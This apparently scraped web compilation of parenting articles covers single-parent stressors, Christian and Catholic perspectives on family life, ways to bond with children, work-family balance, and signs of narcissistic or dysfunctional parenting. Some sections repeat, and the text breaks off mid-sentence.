To raise successful children in any family configuration, stability and security matter. Single parents can help ensure such an environment by developing a supportive network of friends, relatives, and neighbors. People who care. For those with extreme financial hardship, there are resources in your community including assistance for housing, food, and healthcare for children, depending on income and other criteria.

Raising Kids as a Single Parent

To raise thriving children, a single parent must juggle many aspects of life, the household, work demands, finances, among many other concerns. All parents face similar obstacles, but the challenge for a single-parent is greater.

Set house rules with your kids.

Give undivided attention to each child, even a daily 10-minute one-one conversation will help.

Set boundaries, boundaries, boundaries.

Be consistent and fair, always.

Kids need schedules and routines (sounds boring, but it works).

Lower your expectations, and do away with any ideas of perfection.

Lose your sense of guilt, victimhood, and martyrdom.

Ignore judgmental people.

You need support through good childcare, friends, family, neighbors.

If possible, get along with your ex. (To do so, you need to get over yourself.)

Apply self-care daily, eat right, exercise, sleep, meditate. (If you do not have time, make the time.)

If you need therapy, a good family therapist will help.

How to create a good family life as a single parent

Editor’s Note: The following is a report on the practical applications of Jim Burns’s book, The 10 Building Blocks for a Solid Family, (Regal Books, 2010).

Since every family and each person in it is unique, there’s no magic, one-size-fits-all parenting plan that’s guaranteed to give you a healthy and happy family. And since nobody is perfect in this fallen world, there’s no such thing as a perfect family. But there are some basic principles that will help you create a family which each member can grow spiritually, emotionally, and relationally – which will help you build the healthy, happy family God wants you to enjoy.

Here’s how you can healthy and happy family:

Be there. Your kids regard your very presence as a sign of caring and connectedness. It’s crucial for you to spend as much time as possible with them. Keep in mind that your job as a parent is a calling from God – more important than any other work you do, including the job you get paid to do – and your influence on your kids will be your greatest legacy. Ask God to help you make whatever sacrifices you need to make to free up your time and energy to be there for your kids often. Be available to talk with them, help them, attend their events, and cheer them on in their various pursuits. Your kids crave your presence, and nothing can make up for your absence. Be creative about how you can spend time with each of your kids one-on-one regularly, from going of a hike to playing a board game together.

Express affirmation, warmth, and encouragement. Parents who practice loving parenting, as opposed to shame-based parenting, will create a home where children and spouses feel more secure. So avoid shame-based parenting, which is performance-oriented and approval-focused, using words and actions that cause kids to think that they aren’t loved or valuable. Instead, aim to make your kids feel accepted, appreciated, listened to, and loved. Give your kids confidence by letting them know that you believe in them, value them, and enjoy them. Say “I love you” to them often, and give them plenty of physical affection like hugs, kisses, and back rubs. Rather than just jumping into their to-do lists with them, share some relaxed conversations with them after they get home from school and before they go to bed. Let go of unrealistic expectations for them. Encourage them to pursue their areas of interest and become the people God wants them to become.

Build healthy morals and values. The decisions that kids make today will often affect them for the rest of their lives. Study the culture so you can understand what cultural influences currently pose a danger to your kids spiritually. Pray for God’s help to teach biblical values and morals to your kids in ways they can best learn. Talk openly and honestly with your kids about sex, alcohol, and other drugs from when they’re young, all the way through their teen years, answering their questions and discussing issues in age-appropriate ways. Encourage them to commit to living a lifestyle of purity, including honoring God with their bodies, renewing their minds for good, turning their eyes and ears away from what’s worthless, and guarding their hearts above all else. Get to know what your kids watch on TV and in the movies, what websites they visit, what music they listen to, and what video games they play. Watch and listen together with them as often as possible, and talk with them about the content to help them learn to think critically about it. Restrict their access to vulgar media content.

Discipline with consistency. When you clearly express expectations and consistently follow through, you’ll produce responsible kids. Keep in mind that consistent discipline takes lots of time and energy. Ask God to give you the strength you need to devote the necessary time and energy rather than taking the easy way out when you’re tired and having your kids fail to learn important lessons. Remember the Bible’s promise that if you train your kids in the way they should go, when they’re old they won’t depart from it. Set and clearly communicate healthy boundaries about doing homework and chores, telling the truth, talking to you respectfully, and a myriad of other issues – and follow through with consequences when your kids make poor choices. Help your kids decide what consequences they should get for various infractions. Stay calm – not angry – when you’re disciplining them, refrain from nagging, choose your battles wisely, and show empathy. Your willingness to be the parent they need – not merely a friend – will give them security and confidence.

Ruthlessly eliminate stress. The unbalanced life will not be kind to the areas you neglect. Ask God to help you decide which activities to eliminate from your family’s schedule if you’re too busy to get enough rest and free time every day and evening. Don’t neglect spending lots of time with your family for anything, including your career. Make whatever sacrifices you need to make so you can enjoy plenty of relaxed family time together. Spend time reflecting and praying in solitude regularly to keep your life in the proper perspective. Get enough sleep and exercise regularly, and make sure that your spouse and kids do, too.

Communicate well. Positive communication is the language of love for your kids. Make a habit of listening carefully to your kids whenever they share their thoughts and feelings with you. Also figure out what other ways you can best express your love for your kids in ways that each of them will receive well. Apologize them to them when you’ve made a parenting mistake. Allow the conflicts you experience with your spouse and kids to be a path to deeper communication by helping you all understand each other better and work as a team to solve problems.

Play together. There is nothing like play to bring about family togetherness. Make time for vacations together, have fun at home, go on frequent outings (from getting ice cream out to taking music or sports lessons together), share holiday traditions, enjoy humor together, and work on service projects together. Sharing playful experiences will build family memories that will bond you all in powerful ways.

Love your spouse. If you’re married, work on your marriage regularly and invest in it through activities like frequent dates, since a loving marriage brings hope and security to your kids. If you’re a single parent, build relationships with others at your church who care about your kids and are willing to invest in their lives.

Remember that the best things in life aren’t things. Healthy stewardship and sound financial decisions produce positive family priorities. Follow a budget to live below your means, avoid debt, tithe and give in other generous ways, and save regularly. Modeling these healthy financial practices will teach your kids valuable practical and spiritual lessons.

Energize your family’s spiritual growth. Your greatest calling in life is to leave a spiritual legacy for your kids. So make your relationship with God through Christ your top priority. Grow closer to Christ individually and as a couple with your spouse. Pray for and with your kids in a regular family devotional time, write a family constitution that describes your family’s values, and talk about God often as you go through your everyday activities together.

Life in a single parent household—though common—can be quite stressful for the adult and the children.

Divorce and Child Custody
Parenting

How to create a good family life as a single parent

Today single parent families have become even more common than the so-called “nuclear family” consisting of a mother, father and children. Today we see all sorts of single parent families: headed by mothers, fathers, and even by a grandparent raising their grandchildren.

Life in a single parent household—though common—can be quite stressful for the adult and the children. The single parent may feel overwhelmed by the responsibilities of juggling caring for the children, maintaining a job, and keeping up with the bills and household chores. And typically, the family’s finances and resources are drastically reduced following the parents’ breakup.

Single parent families deal with many other pressures and potential problem areas that other families may not face.

Stressors faced by single parent families

Visitation and custody problems.
The effects of continuing conflict between the parents.
Less opportunity for parents and children to spend time together.
Effects of the breakup on children’s school performance and peer relations.
Disruptions of extended family relationships.
Problems caused by the parents’ dating and entering new relationships.

The single parent can help family members face these difficulties by talking with each other about their feelings and working together to tackle problems. Support from friends, other family members and places of worship can help too. But if family members are still overwhelmed and having problems, it may be time to consult an expert or a licensed mental health professional.

The full text of articles from APA Help Center may be reproduced and distributed for noncommercial purposes with credit given to the American Psychological Association. Any electronic reproductions must link to the original article on the APA Help Center. Any exceptions to this, including excerpting, paraphrasing or reproduction in a commercial work, must be presented in writing to the APA. Images from the APA Help Center may not be reproduced

The Well-Being of Children in a Single-Parent Household

Can children of single parents fare just as well as children of married couples?

Are there positives for children raised by a single parent?

Can a single parent become too close to their child?

Are children of single parents at risk for substance abuse?

Are children of single parents at risk for other serious problems?

The Challenges of Single-Parent Families

Will my worries about finances impede my parenting?

I am returning to work, but I’m worried about my kids.

I don’t get to see my kids enough, will that affect my relationship with them?

How can I raise successful children as a single parent?

Raising Kids as a Single Parent

Set house rules with your kids.

Give undivided attention to each child, even a daily 10-minute one-one conversation will help.

Set boundaries, boundaries, boundaries.

Be consistent and fair, always.

Kids need schedules and routines (sounds boring, but it works).

Lower your expectations, and do away with any ideas of perfection.

Lose your sense of guilt, victimhood, and martyrdom.

Ignore judgmental people.

You need support through good childcare, friends, family, neighbors.

If possible, get along with your ex. (To do so, you need to get over yourself.)

Apply self-care daily, eat right, exercise, sleep, meditate. (If you do not have time, make the time.)

If you need therapy, a good family therapist will help.

The Well-Being of Children in a Single-Parent Household

Can children of single parents fare just as well as children of married couples?

Are there positives for children raised by a single parent?

Can a single parent become too close to their child?

Are children of single parents at risk for substance abuse?

Are children of single parents at risk for other serious problems?

The Challenges of Single-Parent Families

Will my worries about finances impede my parenting?

I am returning to work, but I’m worried about my kids.

I don’t get to see my kids enough, will that affect my relationship with them?

How can I raise successful children as a single parent?

Raising Kids as a Single Parent

Set house rules with your kids.

Give undivided attention to each child, even a daily 10-minute one-one conversation will help.

Set boundaries, boundaries, boundaries.

Be consistent and fair, always.

Kids need schedules and routines (sounds boring, but it works).

Lower your expectations, and do away with any ideas of perfection.

Lose your sense of guilt, victimhood, and martyrdom.

Ignore judgmental people.

You need support through good childcare, friends, family, neighbors.

If possible, get along with your ex. (To do so, you need to get over yourself.)

Apply self-care daily, eat right, exercise, sleep, meditate. (If you do not have time, make the time.)

If you need therapy, a good family therapist will help.

The magazine of the Catholic Diocese of Lansing

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How to create a good family life as a single parent

Single-parent families

The Extraordinary Synod of Bishops on the Family in October 2014 and the Ordinary Synod on the Family in October 2015 have made reflection on the vocation and mission of the family, both in the Church and in the modern world, very timely. So during 2015, Theology 101 will explore the Church’s teaching on many of the themes that are being considered by the two synods.

The destiny of humanity

In order to provide the necessary context for a consideration of the single-parent family, we must first orient ourselves to our ultimate end. The Catechism of the Catholic Church states in the first paragraph of the first page that we were created freely and out of love by God for eternal life in communion with God. Communion with God, who has revealed himself as a loving Trinitarian communion of Father, Son and Holy Spirit, is then the destiny planned for humanity.

It follows that if we are to truly live and be most fully alive, it only makes sense that we need to live in harmony with that for which we are made. Communion with God, i.e., being of the same mind, with the same love, united in heart, thinking one thing with God (Ph 2:2), becomes the goal and foundation of Christian life.

The family as communion

One of the ways in which we live into communion with God is through the family, which is a union of a man and woman in marriage with their children, according to the catechism. The family itself constitutes a communion of persons that is a sign and image of the communion of the Father and the Son in the Holy Spirit. Further, according to Pope St. John Paul II’s Familiaris consortio (21), the Christian family is “a specific revelation and realization of ecclesial communion, and for this reason it can and should be called a domestic church.”

The family is the original cell of social life. It is a community where one can learn moral values, begin to honor God and exercise freedom in a good way. The family offers opportunities to care and take responsibility for the young, the old, the sick, the handicapped and the poor. It is an initiation into life in society, as the family teaches us to see others as brothers and sisters of our one heavenly Father.

Communion upon communion

The Christian family is founded on the communion of persons that is marriage; on the “intimate community of life and love which constitutes the married state.” In the 2009 Pastoral Letter “Marriage: Love and Life in the Divine Plan,” the United States Conference of Catholic Bishops (USCCB) stated, “Through baptism, men and women are transformed, by the power of the Holy Spirit, into a new creation in Christ. This new life in the Holy Spirit heals men and women from sin and elevates them to share in God‘s very own divine life. It is within this new Christian context that Jesus has raised marriage between the baptized to the dignity of a sacrament. He heals marriage and restores it to its original purity of permanent self-giving in one flesh (see Mt 19:6).”

By revealing his own love as the perfection of all love, God reveals the deepest meaning of all marital love: self-giving love modeled on God‘s inner life and love. The U.S. Bishops explain: “[T]he principal and original self-gift is the unitive, mutual self-gift of the spouses to each other. In their marriage promises, the spouses pledge love and fidelity for as long as they live. The transmission of life is a sublime, concrete realization of this radical self-gift between a man and a woman. The mutual married love of man and woman becomes an image of the absolute and unfailing love with which God loves man[kind], because as mutual self-gift, it is at the same time creative self-gift.”

The single-parent family

The final document of the Extraordinary Synod of Bishops on the Family in October 2014 (8) recognized that many “children are born outside of marriage, in great numbers in some countries, many of whom subsequently grow up with just one of their parents or in a blended or reconstituted family.” In addition to these “out of wedlock” births, divorce, separation, outright spousal abandonment and the death of a spouse all contribute to the increase in single-parent families we see today throughout the world.

The Church’s response

The Church necessarily and rightly affirms the sanctity and indissolubility of marriage. The Church also asserts the right of every child to be born within the context of committed, marital love because it provides the best conditions for raising children.

The U.S. Bishops have repeatedly pointed out that a committed marriage is the foundation of a family. In their 1994 document Follow the Way of Love, they asserted that marriage “strengthens all the members, provides best for the needs of children, and causes the church of the home to be an effective sign of Christ in the world.”

At the same time, the Church is also conscious that people struggle with their own weakness and, at times, encounter tremendous life challenges as they attempt to make the journey of faith. For this reason, the Church has been clear, for example in the final document of the aforementioned extraordinary synod, that “people need to be accepted in the concrete circumstances of life.” (11)

The synod called for respect to be shown to those who suffer unjustly because of the actions or death of a spouse. Pastoral care, material assistance and guidance must be directed to single-parent families to help them bear the responsibility of providing a home and raising their children.

13.7 million

Approximate number of single parents in the U.S

22 million

Children being raised by single parents in the U.S

82.2%

Percentage of custodial parents who are mothers

14.3%

Percentage of U.S. population living in poverty in 2009

30.4%

Percentage of single mothers and their children living in poverty in 2009

At a Glance: Follow the Way of Love

In the end, perhaps, Follow the Way of Love most appropriately captures the pastoral tone of the Church’s response to single parents:

Single parents: to be faced with all the responsibilities of parenting by yourself is a challenge that touches the very core of your life. We bishops express our solidarity with you. We urge all parishes and Christian communities to welcome you, to help you find what you need for a good family life, and to offer the loving friendship that is a mark of our Christian tradition.

Wherever a family exists and love still moves through its members, grace is present. Nothing – not even divorce or death – can place limits upon God’s gracious love.

And so, we recognize the courage and determination of families with one parent raising the children. Somehow you fulfill your call to create a good home, care for your children, hold down a job, and undertake responsibilities in the neighborhood and church. You reflect the power of faith, the strength of love, and the certainty that God does not abandon us when circumstances leave you alone in parenting.

How to create a good family life as a single parent

Adah Chung is a fact checker, writer, researcher, and occupational therapist.

Strengthening the parent-child relationships requires work and effort. Parenting is a tough job, but by maintaining a close relationship and open communication with children, parents can stay connected to them during all stages of life.

Further, a strong parent-child connection actually makes parenting easier, since children who feel more connected to their parents are more inclined to listen, help and follow directions. Children who feel connected also are more willing to talk to their parents about problems with friends or in school. Here are 10 ways to deepen bonds between parents and children.

Tell Your Children You Love Them

How to create a good family life as a single parent

Tell children you love them every day, no matter their age. Even on trying days or after disagreements, parents should make sure children know that although you did not like their behavior, you love them unconditionally.

Conflict is the most important time for parents to communicate their love to their children. A simple “I love you” does loads to strengthen relationships.

Play With Your Children

The key is to really get down on the floor and play with your children. Play with dolls, balls, or board games or sing songs. It does not matter what you play, just enjoy each other and commit to giving your undivided attention.

Let your kids see your silly side. Older kids enjoy cards, chess, and computer games, while younger ones have fun playing any game with parents.

Establish a Special Name or Code Word

Create a special name for your child that is positive or a secret code word that you can use with each other. Use the name as a simple reinforcement of your love. The code word can be used to extract a child from an uncomfortable situation (such as a sleepover that is not going well) without causing undue embarrassment to the child.

Develop and Maintain Bedtime Rituals

Reading bedtime books or telling stories to children creates lifelong rituals. Bedtime is a separation and creating a ritual makes kids feel safer. Bedtime may also be the only time working parents share with their kids; make it calm and enjoyable.

Once children start reading, have them read a page, chapter, or short book to you. Even most teenagers still enjoy the ritual of being told goodnight in a special way by a parent.

Teach Your Kids About Faith

Teach your child about your faith and beliefs. Tell them what you believe and why. Allow time for your child to ask questions and answer them honestly. Reinforce those teachings often.

Let Your Children Help You

Parents sometimes inadvertently miss out on opportunities for closeness by not allowing their child to help them with various tasks and chores. Unloading groceries after going to the store is a good example of something that children of most ages can and should assist with.

Children feel powerful when they help. Children can also help by giving opinions. Asking a child which shoes look better with your dress lets them know you value their opinion. Of course, if you ask, be prepared to accept and live with the child’s choice.

Eat Meals As a Family

You’ve heard this before, and it really is important! Eating together sets the stage for conversation and sharing. Turn the TV off, and don’t rush through a meal. When schedules permit, really talk and enjoy one another.

Meals can become a quality time remembered by young and old alike.

Seek Out One-On-One Opportunities

Some parents have special nights or standing dates with their children to create one-on-one opportunities. Whether it is a walk around the neighborhood, a special trip to a playground or just an at-home movie night with the two of you, it is important to celebrate each child individually. Although this is more of a challenge for parents of several children, it is achievable.

Respect Children’s Choices

You don’t have to like your child’s mismatched shirt and shorts or love how your child has placed pictures in their room. However, it is important to respect those choices.

Children reach out for independence at a young age, and parents can help to foster those decision-making skills by being supportive and even looking the other way on occasion. After all, it really is OK if a child goes to daycare with a striped green shirt and pink plaid shorts.

Make Them a Priority in Your Life

Your children need to know that you believe they are a priority in your life. Children can observe excessive stress and notice when they feel you are not paying them attention. Sometimes, part of parenthood is not worrying about the small stuff and enjoying your children. They grow up so fast, and every day is special. Take advantage of your precious time together while you have it.

Kara is passionate about sharing her self-improvement insights to help more people. Read full profile

How to create a good family life as a single parent

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Balancing work and family life is one of the most common sources of stress for working adults. In this productivity-driven society that we are living in, more and more people are finding it hard to adequately fulfill their roles both at home and at the workplace.

More often than not, people are unable to find a point of balance between their careers and their families and one is given more priority than the other. This behavior has been associated with a number of dysfunctional outcomes—strained familial relationships, inefficiency at work, and poor physical and mental health.

Hence, it is very important that we are able to work on balancing work and family life [1] . This may seem like a daunting task, but it is possible if you take the time and care to make it a priority. Here are some steps to help you get started.

1. Make Balance a Priority

Achieving work life balance, whether you work full time or part time, is a long and often difficult process. If you do not make the conscious decision to achieve balance, it is likely that you will fail along the way. I have learned through my experience that it is very important to make an effort to provide yourself the opportunity for balance.

For instance, you need to find a job that is challenging but not overwhelming; also, carefully think about how big of a family you can responsibly raise at the moment. By making wise decisions on the most important matters in your life, attaining balance won’t be a difficult thing.

If you are already settled into a career and have a growing family, you can still make small changes that will help you achieve balance. This could include requesting more flexible work hours, reorganizing the responsibilities you share at home, or bringing in trusted friends and family to help pick up the slack.

2. Talk to Your Family

I used to think that I was the only one who could solve my work versus family life conundrum. However, over time I realized that there is no way for me to get things right if I only rely on my perspective. Since then, I’ve made it a point to have discussions with my family [2] regarding their perceptions, opinions, and even objections to my work and how much I’m focusing on it.

These discussions opened my eyes to a lot of things and made me more aware of the issues that I needed to improve. I also made sure that the entire family understood my obligations and responsibilities at work. Thus, there was also more understanding on their part.

Once you spend time conversing and allow your family to have a say in how you’re tackling the balance between work and family in your life, you’ll find they have a lot of helpful feedback. Also, when they feel heard, they will react better when you have to stay late at work one evening or have to leave the dinner table early to finish a big project. Make sure the communication flows constantly.

3. Allow Others to Help You

There are times when balance is more difficult to achieve. Maybe you’re vying for a promotion at work, or you have a huge project for a client due before the weekend. Once you’ve communicated those problems to your family, it may be time to bring in some help.

Most people have friends or family that are willing to help out. Make sure these are people you trust to handle tasks like brining your children to sports practices or picking them up from school. In most instances, they’ll be happy to pick up the slack for a week or two.

If you’re not sure how to start asking for help, check out this article.

4. Establish Boundaries Between Work and Family

It is important that we create boundaries between work and family. This means determining which actions are acceptable and unacceptable. Boundaries hold the line to protect your work from the distraction of family, as well as to protect your family from the obligations at work. With clear boundaries, it is easier for you to tell when your action is not in favor of one aspect of your life.

For example, you and your family may set a rule that no one is allowed to use a cell phone at the table. This will help your older children, but it will also help you avoid taking work calls during dinner [3] . You may also decide not to check emails while on vacation.

This can be difficult, but it may be a necessary step to help your family feel like a priority and draw a firm line between work and home. The TED talk below may help you find inspiration to achieve the work-life balance you’re seeking.

5. Accept That Imbalance Is Sometimes Unavoidable

During my struggle to attain balance between work and family, I realized that there will always be times that I will have to let work or family take priority. It would be impossible to perfectly balance everything in your life at all times.

For example, when a family member is sick, you may need to skip a work event. Or when an important deadline must be met, you might need to miss dinner at home and stay working late at the office.

The most important thing is that you don’t allow imbalance to become the norm. The scale may tip for a few days or weeks, so the key is to bring it as close to the center as possible once you have the space to do so.

Final Thoughts

Learning how to balance work and family life isn’t easy. There is no one-size-fits-all approach. Every person and family must find specific solutions to their issues depending on their own preferences and needs.

Essentially, a balance between work and family occurs when a person is able to sufficiently meet family commitments and adequately perform responsibilities at work. There is nothing wrong with working hard to get ahead, but don’t forget the worth of the things and people that really matter most.

10 ways narcissistic parents negatively affect their children.

Posted February 28, 2016 | Reviewed by Lybi Ma

THE BASICS

What Is Narcissism?
Find a therapist who understands narcissism

Key points

Often, narcissistic parents perceive the independence of their child as a threat.
What distinguishes the narcissistic parent is a pervasive tendency to deny their child’s independent selfhood.
Biggest telltale signs of a narcissistic parent include emotional manipulation, lack of empathy, and neglect.

How to create a good family life as a single parent

“If my son doesn’t grow up to be a professional baseball player, I’ll shoot ‘em!”

“Aren’t you beautiful? Aren’t you beautiful? You’re going to be just as pretty as mommy!”

“My father’s favorite responses to my views were: ‘but…,’ ‘actually…,’ and ‘there’s more to it than this…’ He always has to feel like he knows better.”

A narcissistic parent can be defined as someone who lives through, is possessive of, and/or engages in marginalizing competition with the offspring. Typically, the narcissistic parent perceives the independence of a child (including adult children) as a threat, and coerces the offspring to exist in the parent’s shadow, with unreasonable expectations. In a narcissistic parenting relationship, the child is rarely loved just for being herself or himself.

Numerous studies have been conducted on the subject of narcissistic parenting and its impact on offspring. (1)(2)(3)(4)(5)(6) It’s important to distinguish certain parent-centric tendencies from chronic narcissistic parenting. Many parents want to show off their children, have high expectations, may be firm at times (such as when a child is behaving destructively), and desire their offspring to make them proud. None of these traits alone constitute pathological narcissism. What distinguishes the narcissistic parent is a pervasive tendency to deny the offspring, even as an adult, a sense of independent selfhood. The offspring exists merely to serve the selfish needs and machinations of the parent(s).

How do you know when a parent may be narcissistic? The following are 10 telltale signs, with references from my books How to Successfully Handle Narcissists and A Practical Guide for Narcissists to Change Towards the Higher Self. While some parents may exhibit a few of the following traits at one time or another, which might not be a major issue, a pathologically narcissistic parent tends to dwell habitually in several of the following personas, while remaining largely unaware of (or unconcerned with) how these behaviors affect one’s offspring.*

1. Uses/Lives Through One’s Child

Most parents want their children to succeed. Some narcissistic parents, however, set expectations not for the benefit of the child, but for the fulfillment of their own selfish needs and dreams. Instead of raising a child whose own thoughts, emotions, and goals are nurtured and valued, the offspring becomes a mere extension of the parent’s personal wishes, with the child’s individuality diminished.

“My mom used to love dolling me up in cute dresses, even though I was a tomboy by nature. I think she felt that when I received compliments for my appearance, she looked good in reflection. It boosted her self-worth.”

“You have opportunities I’ve never had…After you become a doctor you can do as you please. Until then you do as I say!”

― Father to son in Dead Poets Society

2. Marginalization

Some narcissistic parents are threatened by their offspring’s potential, promise, and success, as they challenge the parent’s self-esteem. Consequently, a narcissistic mother or father might make a concerted effort to put the child down, so the parent remains superior. Examples of this type of competitive marginalization include nit-picking, unreasonable judgment and criticisms, unfavorable comparisons, invalidation of positive attitudes and emotions, and rejection of success and accomplishments.

THE BASICS

What Is Narcissism?
Find a therapist who understands narcissism

The common themes through these put-downs are: “There’s always something wrong with you,” and “You’ll never be good enough.” By lowering the offspring’s confidence, the narcissistic parent gets to boost her or his own insecure self-worth.

“I pleaded with my mother on the phone for the lab fee of my college science class. She finally agreed to pay, but only after saying that it was a waste of money on me.”

3. Grandiosity and Superiority

Many narcissistic parents have a falsely inflated self-image, with a conceited sense about who they are and what they do. Often, individuals around the narcissist are not treated as human beings, but merely tools (objects) to be used for personal gain. Some children of narcissistic parents are objectified in the same manner, while others are taught to possess the same, false superiority complex: “We’re better than they are.” This sense of grandiose entitlement, however, is almost exclusively based on superficial, egotistical, and material trappings, attained at the expense of one’s humanity, conscientiousness, and relatedness. One becomes more “superior” by being less human.

Understanding Dysfunctional Relationship Patterns in Your Family

Many people hope that once they leave home, they will leave their family and childhood problems behind. However, many find that they experience similar problems, as well as similar feelings and relationship patterns, long after they have left the family environment. Ideally, children grow up in family environments which help them feel worthwhile and valuable. They learn that their feelings and needs are important and can be expressed. Children growing up in such supportive environments are likely to form healthy, open relationships in adulthood. However, families may fail to provide for many of their children’s emotional and physical needs. In addition, the families’ communication patterns may severely limit the child’s expressions of feelings and needs. Children growing up in such families are likely to develop low self esteem and feel that their needs are not important or perhaps should not be taken seriously by others. As a result, they may form unsatisfying relationships as adults.

Types Of Dysfunctional Families

The following are some examples of patterns that frequently occur in dysfunctional families.

One or both parents have addictions or compulsions (e.g., drugs, alcohol, promiscuity, gambling, overworking, and/or overeating) that have strong influences on family members.
One or both parents use the threat or application of physical violence as the primary means of control. Children may have to witness violence, may be forced to participate in punishing siblings, or may live in fear of explosive outbursts.
One or both parents exploit the children and treat them as possessions whose primary purpose is to respond to the physical and/or emotional needs of adults (e.g., protecting a parent or cheering up one who is depressed).
One or both parents are unable to provide, or threaten to withdraw, financial or basic physical care for their children. Similarly, one or both parents fail to provide their children with adequate emotional support.
One or both parents exert a strong authoritarian control over the children. Often these families rigidly adhere to a particular belief (religious, political, financial, personal). Compliance with role expectations and with rules is expected without any flexibility.

There is a great deal of variability in how often dysfunctional interactions and behaviors occur in families, and in the kinds and the severity of their dysfunction. However, when patterns like the above are the norm rather than the exception, they systematically foster abuse and/or neglect. Children may:

Be forced to take sides in conflicts between parents.
Experience “reality shifting” in which what is said contradicts what is actually happening (e.g., a parent may deny something happened that the child actually observed, for example, when a parent describes a disastrous holiday dinner as a “good time”).
Be ignored, discounted, or criticized for their feelings and thoughts.
Have parents that are inappropriately intrusive, overly involved and protective.
Have parents that are inappropriately distant and uninvolved with their children.
Have excessive structure and demands placed on their time, choice of friends, or behavior; or conversely, receive no guidelines or structure.
Experience rejection or preferential treatment.
Be restricted from full and direct communication with other family members.
Be allowed or encouraged to use drugs or alcohol.
Be locked out of the house.
Be slapped, hit, scratched, punched, or kicked.

Resulting Problems

Abuse and neglect inhibit the development of children’s trust in the world, in others, and in themselves. Later as adults, these people may find it difficult to trust the behaviors and words of others, their own judgements and actions, or their own senses of selfworth. Not surprisingly, they may experience problems in their academic work, their relationships, and in their very identities.

In common with other people, abused and neglected family members often struggle to interpret their families as “normal.” The more they have to accommodate to make the situation seem normal (e.g., “No, I wasn’t beaten, I was just spanked. My father isn’t violent, it’s just his way”), the greater is their likelihood of misinterpreting themselves and developing negative self concepts (e.g., “I had it coming; I’m a rotten kid”).

Making Changes

Sometimes we continue in our roles because we are waiting for our parents to give us “permission”; to change. But that permission can come only from you. Like most people, parents in dysfunctional families often feel threatened by changes in their children. As a result, they may thwart your efforts to change and insist that you “change back.” That’s why it’s so important for you to trust your own perceptions and feelings. Change begins with you. Some specific things you can do include:

Identify painful or difficult experiences that happened during your childhood.
Make a list of your behaviors, beliefs, etc. that you would like to change.
Next to each item on the list, write down the behavior, belief, etc. that you would like to do/have instead.
Pick one item on your list and begin practicing the alternate behavior or belief. Choose the easiest item first.
Once you are able to do the alternate behavior more often than the original, pick another item on the list and practice changing it, too.

In addition to working on your own, you might find it helpful to work with a group of people with similar experiences and/or with a professional counselor.

Special Considerations

As you make changes, keep in mind the following:

Stop trying to be perfect. In addition, don’t try to make your family perfect.
Realize that you are not in control of other people’s lives. You do not have the power to make others change.
Don’t try to win the old struggles – you can’t win.
Set clear limits – e.g., if you do not plan on visiting your parents for a holiday, say “no,” not “be.”
Identify what you would like to have happen. Recognize that when you stop behaving the way you used to, even for a short time, there may be adverse reactions from your family or friends. Anticipate what the